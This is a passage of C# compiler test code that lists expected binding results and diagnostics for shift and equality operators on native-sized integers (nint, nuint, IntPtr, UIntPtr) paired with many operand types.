binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "sbyte?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "byte?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "short?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "ushort?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "int?", $"System.UIntPtr System.UIntPtr.{name}(System.UIntPtr pointer, int offset)", null);
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?");
}
foreach ((string symbol, string name) in shiftOperators)
{
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string");
binaryOps(symbol, "nint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint", includeVoidError: true));
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "sbyte", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "byte", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "short", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "ushort", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "int", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "uint");
binaryOps(symbol, "nint", "nint");
binaryOps(symbol, "nint", "nuint");
binaryOps(symbol, "nint", "long");
binaryOps(symbol, "nint", "ulong");
binaryOps(symbol, "nint", "float");
binaryOps(symbol, "nint", "double");
binaryOps(symbol, "nint", "decimal");
binaryOps(symbol, "nint", "System.IntPtr");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "sbyte?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "byte?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "short?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "ushort?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "int?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint", "uint?");
binaryOps(symbol, "nint", "nint?");
binaryOps(symbol, "nint", "nuint?");
binaryOps(symbol, "nint", "long?");
binaryOps(symbol, "nint", "ulong?");
binaryOps(symbol, "nint", "float?");
binaryOps(symbol, "nint", "double?");
binaryOps(symbol, "nint", "decimal?");
binaryOps(symbol, "nint", "System.IntPtr?");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?", includeVoidError: true));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "sbyte", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "byte", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "short", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "ushort", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "int", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "uint");
binaryOps(symbol, "nint?", "nint");
binaryOps(symbol, "nint?", "nuint");
binaryOps(symbol, "nint?", "long");
binaryOps(symbol, "nint?", "ulong");
binaryOps(symbol, "nint?", "float");
binaryOps(symbol, "nint?", "double");
binaryOps(symbol, "nint?", "decimal");
binaryOps(symbol, "nint?", "System.IntPtr");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "sbyte?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "byte?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "short?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "ushort?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "int?", $"nint nint.{name}(nint left, int right)", null);
binaryOps(symbol, "nint?", "uint?");
binaryOps(symbol, "nint?", "nint?");
binaryOps(symbol, "nint?", "nuint?");
binaryOps(symbol, "nint?", "long?");
binaryOps(symbol, "nint?", "ulong?");
binaryOps(symbol, "nint?", "float?");
binaryOps(symbol, "nint?", "double?");
binaryOps(symbol, "nint?", "decimal?");
binaryOps(symbol, "nint?", "System.IntPtr?");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string");
binaryOps(symbol, "nuint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint", includeVoidError: true));
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "sbyte", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "byte", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "short", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "ushort", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "int", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "uint");
binaryOps(symbol, "nuint", "nint");
binaryOps(symbol, "nuint", "nuint");
binaryOps(symbol, "nuint", "long");
binaryOps(symbol, "nuint", "ulong");
binaryOps(symbol, "nuint", "float");
binaryOps(symbol, "nuint", "double");
binaryOps(symbol, "nuint", "decimal");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "sbyte?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "byte?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "short?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "ushort?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "int?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint", "uint?");
binaryOps(symbol, "nuint", "nint?");
binaryOps(symbol, "nuint", "nuint?");
binaryOps(symbol, "nuint", "long?");
binaryOps(symbol, "nuint", "ulong?");
binaryOps(symbol, "nuint", "float?");
binaryOps(symbol, "nuint", "double?");
binaryOps(symbol, "nuint", "decimal?");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?", includeVoidError: true));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "sbyte", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "byte", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "short", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "ushort", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "int", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "uint");
binaryOps(symbol, "nuint?", "nint");
binaryOps(symbol, "nuint?", "nuint");
binaryOps(symbol, "nuint?", "long");
binaryOps(symbol, "nuint?", "ulong");
binaryOps(symbol, "nuint?", "float");
binaryOps(symbol, "nuint?", "double");
binaryOps(symbol, "nuint?", "decimal");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "sbyte?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "byte?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "short?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "ushort?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "int?", $"nuint nuint.{name}(nuint left, int right)", null);
binaryOps(symbol, "nuint?", "uint?");
binaryOps(symbol, "nuint?", "nint?");
binaryOps(symbol, "nuint?", "nuint?");
binaryOps(symbol, "nuint?", "long?");
binaryOps(symbol, "nuint?", "ulong?");
binaryOps(symbol, "nuint?", "float?");
binaryOps(symbol, "nuint?", "double?");
binaryOps(symbol, "nuint?", "decimal?");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string");
binaryOps(symbol, "System.IntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr", includeVoidError: true));
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char");
binaryOps(symbol, "System.IntPtr", "sbyte");
binaryOps(symbol, "System.IntPtr", "byte");
binaryOps(symbol, "System.IntPtr", "short");
binaryOps(symbol, "System.IntPtr", "ushort");
binaryOps(symbol, "System.IntPtr", "int");
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?");
binaryOps(symbol, "System.IntPtr", "sbyte?");
binaryOps(symbol, "System.IntPtr", "byte?");
binaryOps(symbol, "System.IntPtr", "short?");
binaryOps(symbol, "System.IntPtr", "ushort?");
binaryOps(symbol, "System.IntPtr", "int?");
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string");
binaryOps(symbol, "System.IntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr?", includeVoidError: true));
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char");
binaryOps(symbol, "System.IntPtr?", "sbyte");
binaryOps(symbol, "System.IntPtr?", "byte");
binaryOps(symbol, "System.IntPtr?", "short");
binaryOps(symbol, "System.IntPtr?", "ushort");
binaryOps(symbol, "System.IntPtr?", "int");
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?");
binaryOps(symbol, "System.IntPtr?", "sbyte?");
binaryOps(symbol, "System.IntPtr?", "byte?");
binaryOps(symbol, "System.IntPtr?", "short?");
binaryOps(symbol, "System.IntPtr?", "ushort?");
binaryOps(symbol, "System.IntPtr?", "int?");
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string");
binaryOps(symbol, "System.UIntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char");
binaryOps(symbol, "System.UIntPtr", "sbyte");
binaryOps(symbol, "System.UIntPtr", "byte");
binaryOps(symbol, "System.UIntPtr", "short");
binaryOps(symbol, "System.UIntPtr", "ushort");
binaryOps(symbol, "System.UIntPtr", "int");
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?");
binaryOps(symbol, "System.UIntPtr", "sbyte?");
binaryOps(symbol, "System.UIntPtr", "byte?");
binaryOps(symbol, "System.UIntPtr", "short?");
binaryOps(symbol, "System.UIntPtr", "ushort?");
binaryOps(symbol, "System.UIntPtr", "int?");
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr?", "string");
binaryOps(symbol, "System.UIntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr?", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char");
binaryOps(symbol, "System.UIntPtr?", "sbyte");
binaryOps(symbol, "System.UIntPtr?", "byte");
binaryOps(symbol, "System.UIntPtr?", "short");
binaryOps(symbol, "System.UIntPtr?", "ushort");
binaryOps(symbol, "System.UIntPtr?", "int");
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?");
binaryOps(symbol, "System.UIntPtr?", "sbyte?");
binaryOps(symbol, "System.UIntPtr?", "byte?");
binaryOps(symbol, "System.UIntPtr?", "short?");
binaryOps(symbol, "System.UIntPtr?", "ushort?");
binaryOps(symbol, "System.UIntPtr?", "int?");
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?");
}
foreach ((string symbol, string name) in equalityOperators)
{
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string");
binaryOps(symbol, "nint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nint"));
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"));
binaryOps(symbol, "nint", "long", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint"));
binaryOps(symbol, "nint", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"));
binaryOps(symbol, "nint", "long?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint"));
binaryOps(symbol, "nint", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint", "System.IntPtr?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?"));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"));
binaryOps(symbol, "nint?", "long", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong", "nint?"));
binaryOps(symbol, "nint?", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint?", $"bool nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"));
binaryOps(symbol, "nint?", "long?", $"bool long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "ulong?"), getAmbiguousBinaryOpsDiagnostics(symbol, "ulong?", "nint?"));
binaryOps(symbol, "nint?", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nint?", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nint?", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nint?", "System.IntPtr?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string");
binaryOps(symbol, "nuint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint"));
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint"));
binaryOps(symbol, "nuint", "uint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint"));
binaryOps(symbol, "nuint", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint"));
binaryOps(symbol, "nuint", "ulong", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint"));
binaryOps(symbol, "nuint", "uint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint"));
binaryOps(symbol, "nuint", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint"));
binaryOps(symbol, "nuint", "ulong?", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*"), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?"));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"bool nuint.{name}(nuint left, nuint right)");
